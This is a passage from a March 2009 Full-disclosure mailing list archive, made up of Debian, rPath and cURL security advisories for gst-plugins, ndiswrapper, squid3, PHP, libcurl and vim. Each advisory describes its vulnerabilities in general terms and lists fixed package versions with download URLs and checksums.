CVE Id         : CVE-2009-0386 CVE-2009-0387 CVE-2009-0397

Several vulnerabilities have been found in gst-plugins-bad0.10, a
collection of various GStreamer plugins. The Common Vulnerabilities and
Exposures project identifies the following problems:

CVE-2009-0386

Tobias Klein discovered a buffer overflow in the quicktime stream
demuxer (qtdemux), which could potentially lead to the execution of
arbitrary code via crafted .mov files.

CVE-2009-0387

Tobias Klein discovered an array index error in the quicktime stream
demuxer (qtdemux), which could potentially lead to the execution of
arbitrary code via crafted .mov files.

CVE-2009-0397

Tobias Klein discovered a buffer overflow in the quicktime stream
demuxer (qtdemux) similar to the issue reported in CVE-2009-0386, which
could also lead to the execution of arbitrary code via crafted .mov
files.


For the stable distribution (lenny), these problems have been fixed in
version 0.10.8-4.1~lenny1 of gst-plugins-good0.10, since the affected
plugin has been moved there. The fix was already included in the lenny
release.

For the oldstable distribution (etch), these problems have been fixed in
version 0.10.3-3.1+etch1.

For the unstable distribution (sid) and the testing distribution
(squeeze), these problems have been fixed in version 0.10.8-4.1 of
gst-plugins-good0.10.
Upgrade instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 4.0 alias etch
- -------------------------------

Oldstable updates are available for alpha, amd64, arm, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.

Source archives:

  http://security.debian.org/pool/updates/main/g/gst-plugins-bad0.10/gst-plugins-bad0.10_0.10.3-3.1+etch1.dsc
    Size/MD5 checksum:      819 3a44313023fb5a930247b5b981e700ae
  http://security.debian.org/pool/updates/main/g/gst-plugins-bad0.10/gst-plugins-bad0.10_0.10.3.orig.tar.gz
    Size/MD5 checksum:  1377759 6d09962ac9ae6218932578ccc623407f
  http://security.debian.org/pool/updates/main/g/gst-plugins-bad0.10/gst-plugins-bad0.10_0.10.3-3.1+etch1.diff.gz
    Size/MD5 checksum:     9477 74cfd15f0e32f3b56509e648953fdec8

alpha architecture (DEC Alpha)

  http://security.debian.org/pool/updates/main/g/gst-plugins-bad0.10/gstreamer0.10-plugins-bad_0.10.3-3.1+etch1_alpha.deb
    Size/MD5 checksum:   733630 5a57a10505b41e4c28bc4e0642f8650a

amd64 architecture (AMD x86_64 (AMD64))

  http://security.debian.org/pool/updates/main/g/gst-plugins-bad0.10/gstreamer0.10-plugins-bad_0.10.3-3.1+etch1_amd64.deb
    Size/MD5 checksum:   549878 cd0413ebf02e178ea27c5c8d16ad95fa

arm architecture (ARM)

  http://security.debian.org/pool/updates/main/g/gst-plugins-bad0.10/gstreamer0.10-plugins-bad_0.10.3-3.1+etch1_arm.deb
    Size/MD5 checksum:   561194 a0724a6cab918a8da823d7bf46443ef1

i386 architecture (Intel ia32)

  http://security.debian.org/pool/updates/main/g/gst-plugins-bad0.10/gstreamer0.10-plugins-bad_0.10.3-3.1+etch1_i386.deb
    Size/MD5 checksum:   552386 5925c3bdbbb3d1f498653ca201112ca0

ia64 architecture (Intel ia64)

  http://security.debian.org/pool/updates/main/g/gst-plugins-bad0.10/gstreamer0.10-plugins-bad_0.10.3-3.1+etch1_ia64.deb
    Size/MD5 checksum:   832140 365297044bf80b32378e97fa3657f201

mips architecture (MIPS (Big Endian))

  http://security.debian.org/pool/updates/main/g/gst-plugins-bad0.10/gstreamer0.10-plugins-bad_0.10.3-3.1+etch1_mips.deb
    Size/MD5 checksum:   619356 053cceaa42b6c38dc1cc1d64a8d3e7bd

mipsel architecture (MIPS (Little Endian))

  http://security.debian.org/pool/updates/main/g/gst-plugins-bad0.10/gstreamer0.10-plugins-bad_0.10.3-3.1+etch1_mipsel.deb
    Size/MD5 checksum:   600068 09cf53d117f6c449664d96bba3e3fc9a

powerpc architecture (PowerPC)

  http://security.debian.org/pool/updates/main/g/gst-plugins-bad0.10/gstreamer0.10-plugins-bad_0.10.3-3.1+etch1_powerpc.deb
    Size/MD5 checksum:   600966 6a0e5ed57d4da5875040be8cc96345f5

s390 architecture (IBM S/390)

  http://security.debian.org/pool/updates/main/g/gst-plugins-bad0.10/gstreamer0.10-plugins-bad_0.10.3-3.1+etch1_s390.deb
    Size/MD5 checksum:   580644 1bdfe57a99a1b2398fe163421d97cc9d

sparc architecture (Sun SPARC/UltraSPARC)

  http://security.debian.org/pool/updates/main/g/gst-plugins-bad0.10/gstreamer0.10-plugins-bad_0.10.3-3.1+etch1_sparc.deb
    Size/MD5 checksum:   576270 cbe44fa23352da55f24506ee60262bfd


  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce at lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iD8DBQFJrELUYrVLjBFATsMRAs/rAJ4u0ozLEF8iFBt+NiFnDso2uyhZiACfTiIR
hLpLh3he1Zg+z0gNSTR7Y+k=
=FhiP
-----END PGP SIGNATURE-----



From steffen.joeris at skolelinux.de  Mon Mar  2 21:09:55 2009
From: steffen.joeris at skolelinux.de (Steffen Joeris)
Date: Mon, 02 Mar 2009 21:09:55 +0000
Subject: [Full-disclosure] [SECURITY] [DSA 1731-1] New ndiswrapper packages
	fix arbitrary code execution vulnerability
Message-ID: <E1LeFOd-0003uV-Si@klecker.debian.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
Debian Security Advisory DSA-1731-1                  security at debian.org
http://www.debian.org/security/                           Steffen Joeris
March 02, 2009                        http://www.debian.org/security/faq
- ------------------------------------------------------------------------

Package        : ndiswrapper
Vulnerability  : buffer overflow
Problem type   : remote
Debian-specific: no
CVE Id         : CVE-2008-4395
Debian Bugs    : 504696


Anders Kaseorg discovered that ndiswrapper suffers from buffer overflows
via specially crafted wireless network traffic, due to incorrectly
handling long ESSIDs. This could lead to the execution of arbitrary
code.


For the oldstable distribution (etch), this problem has been fixed in
version 1.28-1+etch1.

For the stable distribution (lenny), this problem has been fixed in
version 1.53-2, which was already included in the lenny release.

For the testing distribution (squeeze) and the unstable distribution
(sid), this problem has been fixed in version 1.53-2.

Upgrade instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 4.0 alias etch
- -------------------------------

Debian (oldstable)
- ------------------

Oldstable updates are available for alpha, amd64, arm, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.

Source archives:

  http://security.debian.org/pool/updates/main/n/ndiswrapper/ndiswrapper_1.28-1+etch1.diff.gz
    Size/MD5 checksum:     8480 5f89b53c0adefd6c3a894ea0f35f8d25
  http://security.debian.org/pool/updates/main/n/ndiswrapper/ndiswrapper_1.28.orig.tar.gz
    Size/MD5 checksum:   187576 c7655d7e85df7d724be4c0ae973d957e
  http://security.debian.org/pool/updates/main/n/ndiswrapper/ndiswrapper_1.28-1+etch1.dsc
    Size/MD5 checksum:      723 b38be610377feff2433069addb88bb7b

Architecture independent packages:

  http://security.debian.org/pool/updates/main/n/ndiswrapper/ndiswrapper-common_1.28-1+etch1_all.deb
    Size/MD5 checksum:    16556 335ac5bfd0898d13d2467005a68b1a03
  http://security.debian.org/pool/updates/main/n/ndiswrapper/ndiswrapper-source_1.28-1+etch1_all.deb
    Size/MD5 checksum:   150532 7a09fe7069f263df9c659f519a5e5a2e

amd64 architecture (AMD x86_64 (AMD64))

  http://security.debian.org/pool/updates/main/n/ndiswrapper/ndiswrapper-utils-1.9_1.28-1+etch1_amd64.deb
    Size/MD5 checksum:    30402 3316cdad5626350a07a09830b29cb55a

i386 architecture (Intel ia32)

  http://security.debian.org/pool/updates/main/n/ndiswrapper/ndiswrapper-utils-1.9_1.28-1+etch1_i386.deb
    Size/MD5 checksum:    30414 464e12e2751d26e6e0d810d608fde8d9


  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce at lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iD8DBQFJrErsYrVLjBFATsMRAv/DAJ4tYKYJmdtVdhtORaWR7pzwXnN7DQCghNfd
W7LFAgF1YopnDi6HGmeMBBM=
=CEvb
-----END PGP SIGNATURE-----



From announce-noreply at rpath.com  Mon Mar  2 20:45:26 2009
From: announce-noreply at rpath.com (rPath Update Announcements)
Date: Mon, 02 Mar 2009 15:45:26 -0500
Subject: [Full-disclosure] rPSA-2009-0035-1 php php-cgi php-imap php-mcrypt
 php-mysql php-mysqli php-pgsql php-soap php-xsl php5 php5-cgi php5-imap
 php5-mcrypt php5-mysql php5-mysqli php5-pear php5-pgsql php5-soap php5-xsl
Message-ID: <49ac4566.pnycEytEk6ohnUjN%announce-noreply@rpath.com>

rPath Security Advisory: 2009-0035-1
Published: 2009-03-02
Products:
    rPath Appliance Platform Linux Service 1
    rPath Appliance Platform Linux Service 2
    rPath Linux 1
    rPath Linux 2

Rating: Critical
Exposure Level Classification:
    Remote System User Deterministic Unauthorized Access
Updated Versions:
    php=conary.rpath.com at rpl:2/5.2.8-0.1-1
    php5=conary.rpath.com at rpl:1/5.2.8-1-1
    php5-cgi=conary.rpath.com at rpl:1/5.2.8-1-1
    php5-imap=conary.rpath.com at rpl:1/5.2.8-1-1
    php5-mcrypt=conary.rpath.com at rpl:1/5.2.8-1-1
    php5-mysql=conary.rpath.com at rpl:1/5.2.8-1-1
    php5-mysqli=conary.rpath.com at rpl:1/5.2.8-1-1
    php5-pear=conary.rpath.com at rpl:1/5.2.8-1-1
    php5-pgsql=conary.rpath.com at rpl:1/5.2.8-1-1
    php5-soap=conary.rpath.com at rpl:1/5.2.8-1-1
    php5-xsl=conary.rpath.com at rpl:1/5.2.8-1-1
    php-cgi=conary.rpath.com at rpl:2/5.2.8-0.1-1
    php-imap=conary.rpath.com at rpl:2/5.2.8-0.1-1
    php-mcrypt=conary.rpath.com at rpl:2/5.2.8-0.1-1
    php-mysql=conary.rpath.com at rpl:2/5.2.8-0.1-1
    php-mysqli=conary.rpath.com at rpl:2/5.2.8-0.1-1
    php-pgsql=conary.rpath.com at rpl:2/5.2.8-0.1-1
    php-soap=conary.rpath.com at rpl:2/5.2.8-0.1-1
    php-xsl=conary.rpath.com at rpl:2/5.2.8-0.1-1

rPath Issue Tracking System:
    https://issues.rpath.com/browse/RPL-2963

References:
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5557
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5624
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5658
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5625
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3658
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3659
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2665
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2666
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3660
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2829

Description:
    Previous versions of the php version 5 packages contain multiple
    vulnerabilities, the most serious of which may allow a remote
    attacker to execute arbitrary code.
        
    In its default configuration, rPath Linux 1 does not install php
    version 5 and is thus not vulnerable to these attacks; however, 
    systems to which php version 5 has been added may be vulnerable.

http://wiki.rpath.com/Advisories:rPSA-2009-0035

Copyright 2009 rPath, Inc.
This file is distributed under the terms of the MIT License.
A copy is available at http://www.rpath.com/permanent/mit-license.html



From white at debian.org  Tue Mar  3 08:23:22 2009
From: white at debian.org (Steffen Joeris)
Date: Tue, 03 Mar 2009 08:23:22 +0000
Subject: [Full-disclosure] [SECURITY] [DSA 1732-1] New squid3 packages fix
	denial of service
Message-ID: <E1LePuM-0000FG-AB@klecker.debian.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
Debian Security Advisory DSA-1732                    security at debian.org
http://www.debian.org/security/                           Steffen Joeris
March 03, 2009                        http://www.debian.org/security/faq
- ------------------------------------------------------------------------

Package        : squid3
Vulnerability  : denial of service
Problem type   : remote
Debian-specific: no
CVE Id(s)      : CVE-2009-0478

Joshua Morin, Mikko Varpiola and Jukka Taimisto discovered an assertion
error in squid3, a full featured Web Proxy cache, which could lead to
a denial of service attack.


For the stable distribution (lenny), this problem has been fixed in
version 3.0.STABLE8-3, which was already included in the lenny release.

For the oldstable distribution (etch), this problem has been fixed in
version 3.0.PRE5-5+etch1.

For the testing distribution (squeeze) and the unstable distribution
(sid), this problem has been fixed in version 3.0.STABLE8-3.

Upgrade instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 4.0 alias etch
- -------------------------------

Debian (oldstable)
- ------------------

Oldstable updates are available for alpha, amd64, arm, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.

Source archives:

  http://security.debian.org/pool/updates/main/s/squid3/squid3_3.0.PRE5.orig.tar.gz
    Size/MD5 checksum:  3061614 35cc83c17afb17c4718ffc8d0d71bcae
  http://security.debian.org/pool/updates/main/s/squid3/squid3_3.0.PRE5-5+etch1.diff.gz
    Size/MD5 checksum:    13354 4993554616685c3596d9f96eb12d53c1
  http://security.debian.org/pool/updates/main/s/squid3/squid3_3.0.PRE5-5+etch1.dsc
    Size/MD5 checksum:      735 98fac484b56ec7ee5f69ad6336656e28

Architecture independent packages:

  http://security.debian.org/pool/updates/main/s/squid3/squid3-common_3.0.PRE5-5+etch1_all.deb
    Size/MD5 checksum:   248732 2b26e7e28cefe82d5c7a94d7cdb73c74

alpha architecture (DEC Alpha)

  http://security.debian.org/pool/updates/main/s/squid3/squid3-client_3.0.PRE5-5+etch1_alpha.deb
    Size/MD5 checksum:    66928 73ba707ff043dabf778d8839591ff00c
  http://security.debian.org/pool/updates/main/s/squid3/squid3_3.0.PRE5-5+etch1_alpha.deb
    Size/MD5 checksum:   887986 246a0992ee6867cba9b5bd90ae3bb167
  http://security.debian.org/pool/updates/main/s/squid3/squid3-cgi_3.0.PRE5-5+etch1_alpha.deb
    Size/MD5 checksum:    71404 11af955fd5604bd2595fcce41e6d4632

amd64 architecture (AMD x86_64 (AMD64))

  http://security.debian.org/pool/updates/main/s/squid3/squid3-client_3.0.PRE5-5+etch1_amd64.deb
    Size/MD5 checksum:    64534 3bb28edd86a31e8fdfb37551631f3da8
  http://security.debian.org/pool/updates/main/s/squid3/squid3-cgi_3.0.PRE5-5+etch1_amd64.deb
    Size/MD5 checksum:    68328 798fa101699710b329935a78bf0cd0ea
  http://security.debian.org/pool/updates/main/s/squid3/squid3_3.0.PRE5-5+etch1_amd64.deb
    Size/MD5 checksum:   792302 78aa4fae02843d22ee8784e5f1ee87cb

arm architecture (ARM)

  http://security.debian.org/pool/updates/main/s/squid3/squid3-client_3.0.PRE5-5+etch1_arm.deb
    Size/MD5 checksum:    63484 d6f2107d20788bf7dd07abb9b206172c
  http://security.debian.org/pool/updates/main/s/squid3/squid3_3.0.PRE5-5+etch1_arm.deb
    Size/MD5 checksum:   769738 10d6ac7123424be28690c2030cbf5eb7
  http://security.debian.org/pool/updates/main/s/squid3/squid3-cgi_3.0.PRE5-5+etch1_arm.deb
    Size/MD5 checksum:    67272 2fdd845095b8fa0cb3d9574e5fdb4bcd

hppa architecture (HP PA RISC)

  http://security.debian.org/pool/updates/main/s/squid3/squid3-cgi_3.0.PRE5-5+etch1_hppa.deb
    Size/MD5 checksum:    69974 604c4c10f65c185b89d1cff91136a32e
  http://security.debian.org/pool/updates/main/s/squid3/squid3_3.0.PRE5-5+etch1_hppa.deb
    Size/MD5 checksum:   929058 a90594d57f20ea12d7f1cd05fab538a4
  http://security.debian.org/pool/updates/main/s/squid3/squid3-client_3.0.PRE5-5+etch1_hppa.deb
    Size/MD5 checksum:    66514 961004e071bff449058b1fcbbf11910c

i386 architecture (Intel ia32)

  http://security.debian.org/pool/updates/main/s/squid3/squid3-client_3.0.PRE5-5+etch1_i386.deb
    Size/MD5 checksum:    64442 8f93ed7979e6346f09240bda0f8397fb
  http://security.debian.org/pool/updates/main/s/squid3/squid3_3.0.PRE5-5+etch1_i386.deb
    Size/MD5 checksum:   743098 85d673af4e6a9451acca3e519a057727
  http://security.debian.org/pool/updates/main/s/squid3/squid3-cgi_3.0.PRE5-5+etch1_i386.deb
    Size/MD5 checksum:    68450 b4b71002a819ed312b5049f52f6b26af

ia64 architecture (Intel ia64)

  http://security.debian.org/pool/updates/main/s/squid3/squid3_3.0.PRE5-5+etch1_ia64.deb
    Size/MD5 checksum:  1185186 d0a0f2f96cdcaa68f64fb712e60e388a
  http://security.debian.org/pool/updates/main/s/squid3/squid3-cgi_3.0.PRE5-5+etch1_ia64.deb
    Size/MD5 checksum:    76120 59e1000682f659bd8c279cdbb03aabbe
  http://security.debian.org/pool/updates/main/s/squid3/squid3-client_3.0.PRE5-5+etch1_ia64.deb
    Size/MD5 checksum:    70344 70082e6f0d055c6fbc5bb659d291a59c

mipsel architecture (MIPS (Little Endian))

  http://security.debian.org/pool/updates/main/s/squid3/squid3-cgi_3.0.PRE5-5+etch1_mipsel.deb
    Size/MD5 checksum:    70014 2776662dce0de56454d4e19525c616fa
  http://security.debian.org/pool/updates/main/s/squid3/squid3_3.0.PRE5-5+etch1_mipsel.deb
    Size/MD5 checksum:   911840 16122bd2616f77ac6019dc142fe64157
  http://security.debian.org/pool/updates/main/s/squid3/squid3-client_3.0.PRE5-5+etch1_mipsel.deb
    Size/MD5 checksum:    66332 1e67fe985396c482e963876626975523

powerpc architecture (PowerPC)

  http://security.debian.org/pool/updates/main/s/squid3/squid3-cgi_3.0.PRE5-5+etch1_powerpc.deb
    Size/MD5 checksum:    69072 311a6d89f5e29f14319fde9d7aee364c
  http://security.debian.org/pool/updates/main/s/squid3/squid3_3.0.PRE5-5+etch1_powerpc.deb
    Size/MD5 checksum:   819050 28e74d4371d39fa553c1ecacb282c7a3
  http://security.debian.org/pool/updates/main/s/squid3/squid3-client_3.0.PRE5-5+etch1_powerpc.deb
    Size/MD5 checksum:    64818 35cbc5e8ebd78dc0294750d2e2d32d7a

s390 architecture (IBM S/390)

  http://security.debian.org/pool/updates/main/s/squid3/squid3_3.0.PRE5-5+etch1_s390.deb
    Size/MD5 checksum:   787254 1303b619f1b56d7908fea5308c88669c
  http://security.debian.org/pool/updates/main/s/squid3/squid3-client_3.0.PRE5-5+etch1_s390.deb
    Size/MD5 checksum:    65164 cc13b2a7b237ff84219a65760a8cca95
  http://security.debian.org/pool/updates/main/s/squid3/squid3-cgi_3.0.PRE5-5+etch1_s390.deb
    Size/MD5 checksum:    69104 de5334329dbad3f151a6322b9ec6d2d0


  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce at lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iD8DBQFJrOarU5XKDemr/NIRAruiAJ4n/G69QyOXkYcxSXzgKuJtexgf1QCgwiKe
JqUm+FjVX2eyDn2e0zcSJdE=
=1HUa
-----END PGP SIGNATURE-----



From david.kierznowski at gmail.com  Tue Mar  3 08:25:14 2009
From: david.kierznowski at gmail.com (David Kierznowski)
Date: Tue, 3 Mar 2009 08:25:14 +0000
Subject: [Full-disclosure] cURL/libcURL Arbitrary File Access
Message-ID: <f4cd4c010903030025i701473b2if7bc007dabcddf71@mail.gmail.com>

cURL/libcURL Arbitrary File Access
Release date: 03/Jan/2009
CVE: CVE-2009-0037

Quote from: http://curl.haxx.se/libcurl/:
"libcurl is a free and easy-to-use client-side URL transfer library,
supporting FTP, FTPS,
HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, LDAP, LDAPS and FILE."

This vulnerability could permit remote arbitrary file access and command
execution under ?less-likely? circumstances.

This is a joint advisory release with cURL. The latest version addresses
this problem.

Full advisory available here:
http://www.withdk.com/2009/03/03/curllibcurl-redirect-arbitrary-file-access/
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090303/7e11cbe1/attachment.html 

From white at debian.org  Tue Mar  3 08:35:06 2009
From: white at debian.org (Steffen Joeris)
Date: Tue, 03 Mar 2009 08:35:06 +0000
Subject: [Full-disclosure] [SECURITY] [DSA 1733-1] New vim packages fix
	multiple vulnerabilities
Message-ID: <E1LeQ5h-0001SY-D6@klecker.debian.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
Debian Security Advisory DSA-1733                    security at debian.org
http://www.debian.org/security/                           Steffen Joeris
March 03, 2009                        http://www.debian.org/security/faq
- ------------------------------------------------------------------------

Package        : vim
Vulnerability  : several vulnerabilities
Problem type   : local (remote)
Debian-specific: no
CVE Ids        : CVE-2008-2712 CVE-2008-3074 CVE-2008-3075 CVE-2008-3076
                 CVE-2008-4104
Debian Bugs    : 486502 506919

Several vulnerabilities have been found in vim, an enhanced vi editor.
The Common Vulnerabilities and Exposures project identifies the
following problems:

CVE-2008-2712

    Jan Minar discovered that vim did not properly sanitise inputs
    before invoking the execute or system functions inside vim
    scripts. This could lead to the execution of arbitrary code.

CVE-2008-3074

    Jan Minar discovered that the tar plugin of vim did not properly
    sanitise the filenames in the tar archive or the name of the
    archive file itself, making it prone to arbitrary code execution.

CVE-2008-3075

    Jan Minar discovered that the zip plugin of vim did not properly
    sanitise the filenames in the zip archive or the name of the
    archive file itself, making it prone to arbitrary code execution.

CVE-2008-3076

    Jan Minar discovered that the netrw plugin of vim did not properly
    sanitise the filenames or directory names it is given. This could
    lead to the execution of arbitrary code.

CVE-2008-4101

    Ben Schmidt discovered that vim did not properly escape characters
    when performing keyword or tag lookups. This could lead to the
    execution of arbitrary code.


For the stable distribution (lenny), these problems have been fixed in
version 1:7.1.314-3+lenny1, which was already included in the lenny
release.

For the oldstable distribution (etch), these problems have been fixed in
version 1:7.0-122+1etch4.

For the testing distribution (squeeze), these problems have been fixed
in version 1:7.1.314-3+lenny1.

For the unstable distribution (sid), these problems have been fixed in
version 2:7.2.010-1.

Upgrade instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 4.0 alias etch
- -------------------------------

Debian (oldstable)
- ------------------

Oldstable updates are available for alpha, amd64, arm, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.

Source archives:

  http://security.debian.org/pool/updates/main/v/vim/vim_7.0.orig.tar.gz
    Size/MD5 checksum:  8457888 9ba05680b0719462f653e82720599f32
  http://security.debian.org/pool/updates/main/v/vim/vim_7.0-122+1etch5.diff.gz
    Size/MD5 checksum:   309257 3fb68c04086cf384e9a0be519a0faa6d
  http://security.debian.org/pool/updates/main/v/vim/vim_7.0-122+1etch5.dsc
    Size/MD5 checksum:     1445 f49da047b6b5836abfe2d7d93d30d11d

Architecture independent packages:

  http://security.debian.org/pool/updates/main/v/vim/vim-gui-common_7.0-122+1etch5_all.deb
    Size/MD5 checksum:   166080 77259d158e96c1406dba1f1b4b47a2d2
  http://security.debian.org/pool/updates/main/v/vim/vim-runtime_7.0-122+1etch5_all.deb
    Size/MD5 checksum:  6436142 3e7fee588474fbc9ad1110ae78cdffb5
  http://security.debian.org/pool/updates/main/v/vim/vim-doc_7.0-122+1etch5_all.deb
    Size/MD5 checksum:  2048224 d5005e3efc24d3d7bd3d6a9c7b01cc42

alpha architecture (DEC Alpha)

  http://security.debian.org/pool/updates/main/v/vim/vim-gnome_7.0-122+1etch5_alpha.deb
    Size/MD5 checksum:  1072856 8193230db603c1254188fc2013288c55
  http://security.debian.org/pool/updates/main/v/vim/vim-full_7.0-122+1etch5_alpha.deb
    Size/MD5 checksum:  1158448 6ceb30fd5932d2945b962dee13d4f4cf
  http://security.debian.org/pool/updates/main/v/vim/vim_7.0-122+1etch5_alpha.deb
    Size/MD5 checksum:   925404 23d8b9608aaf47fe3a651aedd3b3c3ce
  http://security.debian.org/pool/updates/main/v/vim/vim-common_7.0-122+1etch5_alpha.deb
    Size/MD5 checksum:   205362 0c7fb486c98a609ac9185c2a794c4ef8
  http://security.debian.org/pool/updates/main/v/vim/vim-lesstif_7.0-122+1etch5_alpha.deb
    Size/MD5 checksum:  1065236 90a42e55852d6450cbd79b10a2dd9582
  http://security.debian.org/pool/updates/main/v/vim/vim-tcl_7.0-122+1etch5_alpha.deb
    Size/MD5 checksum:  1080626 973d5e77cf259e3025fb73d9e5734e51
  http://security.debian.org/pool/updates/main/v/vim/vim-python_7.0-122+1etch5_alpha.deb
    Size/MD5 checksum:  1124104 59ef34ed09e3f8e1d2d01c7a419dd15f
  http://security.debian.org/pool/updates/main/v/vim/vim-tiny_7.0-122+1etch5_alpha.deb
    Size/MD5 checksum:   681132 4dd97b0d70f400ce31e75a7c005103fc
  http://security.debian.org/pool/updates/main/v/vim/vim-gtk_7.0-122+1etch5_alpha.deb
    Size/MD5 checksum:  1069628 9a8757df139e529a7f04edaa015c0db4
  http://security.debian.org/pool/updates/main/v/vim/vim-ruby_7.0-122+1etch5_alpha.deb
    Size/MD5 checksum:  1118000 5553bc93d68daa7010bd2b439603a805
  http://security.debian.org/pool/updates/main/v/vim/vim-perl_7.0-122+1etch5_alpha.deb
    Size/MD5 checksum:  1129778 7c68287a63f92c85bbe7c451e0cd79db

amd64 architecture (AMD x86_64 (AMD64))

  http://security.debian.org/pool/updates/main/v/vim/vim-gtk_7.0-122+1etch5_amd64.deb
    Size/MD5 checksum:   970296 adb9326145046a8517f29430d9185356
  http://security.debian.org/pool/updates/main/v/vim/vim-python_7.0-122+1etch5_amd64.deb
    Size/MD5 checksum:  1024798 474fc78e7e8d1baefbfbbb3b803c4593
  http://security.debian.org/pool/updates/main/v/vim/vim-tiny_7.0-122+1etch5_amd64.deb
    Size/MD5 checksum:   615478 70ac9e55bb99b0e1b5d22f105e099ce0
  http://security.debian.org/pool/updates/main/v/vim/vim-ruby_7.0-122+1etch5_amd64.deb
    Size/MD5 checksum:  1019868 97ecb9505f3497309aeff9c821da7451
  http://security.debian.org/pool/updates/main/v/vim/vim-perl_7.0-122+1etch5_amd64.deb
    Size/MD5 checksum:  1029122 0b446946ede11c6bd0acca6c701f7043
  http://security.debian.org/pool/updates/main/v/vim/vim-lesstif_7.0-122+1etch5_amd64.deb
    Size/MD5 checksum:   961786 6d0d2f78b0111b1b996fabec5b697230
  http://security.debian.org/pool/updates/main/v/vim/vim_7.0-122+1etch5_amd64.deb
    Size/MD5 checksum:   835050 3cfcc7270baad54009293a3aacb1587a
  http://security.debian.org/pool/updates/main/v/vim/vim-gnome_7.0-122+1etch5_amd64.deb
    Size/MD5 checksum:   972692 71f4f5e25b0962058740ba4d718b7ee0
  http://security.debian.org/pool/updates/main/v/vim/vim-common_7.0-122+1etch5_amd64.deb
    Size/MD5 checksum:   203924 5c46591877f80de331011eb2fc8922e2
  http://security.debian.org/pool/updates/main/v/vim/vim-full_7.0-122+1etch5_amd64.deb
    Size/MD5 checksum:  1055448 750e596ed6bf61bd0c369834577d0760
  http://security.debian.org/pool/updates/main/v/vim/vim-tcl_7.0-122+1etch5_amd64.deb
    Size/MD5 checksum:   977848 70898b3a8793165593e2279df412847d

arm architecture (ARM)

  http://security.debian.org/pool/updates/main/v/vim/vim-gnome_7.0-122+1etch5_arm.deb
    Size/MD5 checksum:   880468 e49632c4a2368c7caf5321e1d501f5d2
  http://security.debian.org/pool/updates/main/v/vim/vim-full_7.0-122+1etch5_arm.deb
    Size/MD5 checksum:   959492 8f06863583aa9d8de9e0bae69bdb22ec
  http://security.debian.org/pool/updates/main/v/vim/vim-common_7.0-122+1etch5_arm.deb
    Size/MD5 checksum:   194216 9f1a19f592d16ee5984e70309fd3046e
  http://security.debian.org/pool/updates/main/v/vim/vim-perl_7.0-122+1etch5_arm.deb
    Size/MD5 checksum:   936934 a32d6e6c4c655469db40537d5e67ed46
  http://security.debian.org/pool/updates/main/v/vim/vim-ruby_7.0-122+1etch5_arm.deb
    Size/MD5 checksum:   925570 7ec6e1bd4de8d545fdd452b630ef4200
  http://security.debian.org/pool/updates/main/v/vim/vim-lesstif_7.0-122+1etch5_arm.deb
    Size/MD5 checksum:   875960 d40a82f95a046771e12158c715394b44
  http://security.debian.org/pool/updates/main/v/vim/vim-tiny_7.0-122+1etch5_arm.deb
    Size/MD5 checksum:   548658 b65534d4f507d17343338b209fb4a7ef
  http://security.debian.org/pool/updates/main/v/vim/vim-python_7.0-122+1etch5_arm.deb
